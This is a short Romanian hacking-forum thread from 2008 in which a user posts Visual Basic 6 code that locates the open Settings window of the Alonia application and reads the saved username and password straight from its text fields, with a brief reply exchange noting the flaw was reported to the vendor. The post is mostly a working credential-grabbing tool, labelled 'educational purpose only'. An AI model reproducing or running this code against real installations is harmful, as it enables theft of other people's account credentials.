Alonia password

[Nytro]

O modalitate in care puteti lua parola si userul daca fereastra "Settings" este deschisa . Educational purpose only . Codul este scris in VB6 :

' (c) Nytro 2008
' [URL]http://www.rstcenter.com/forum/[/URL]

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindow Lib "user32.dll" (ByVal hwnd As Long, ByVal wCmd As Long) As Long

Private Const GW_HWNDNEXT As Long = 2
Private Const Clasa As String = "WindowsForms10.Window.8.app.0.378734a"
Private Const ClasaParola As String = "WindowsForms10.EDIT.app.0.378734a"

Private Sub Form_Load()

Dim handle, handle2, handle3, handle4, handle5, handle6 As Long
Dim titlu As String * 255
Dim user, parola As String

handle = FindWindow(Clasa, "   Settings")

If handle <> 0 Then

handle2 = FindWindowEx(handle, 0&, Clasa, vbNullString)
handle3 = FindWindowEx(handle2, 0&, Clasa, vbNullString)
handle4 = FindWindowEx(handle3, 0&, Clasa, "Start Up")
handle5 = FindWindowEx(handle4, 0&, ClasaParola, vbNullString)
handle6 = GetWindow(handle5, GW_HWNDNEXT)

GetWindowText handle5, titlu, 255
user = Trim(titlu)

GetWindowText handle6, titlu, 255
parola = Trim(titlu)

MsgBox "User : " & user
MsgBox "Parola : " & parola

End If

End Sub

Concluzie : De ce dracu lasa parola acolo ?

Revin cu mai multe daca nu am ce face

Edited December 13, 2008 by Nytro

[Vlachs]

Alonia=Lame , sunt varza

[Nytro]

Nu e adevarat . Oricum am postat asta pe forumul lor si o sa scoata parola de acolo .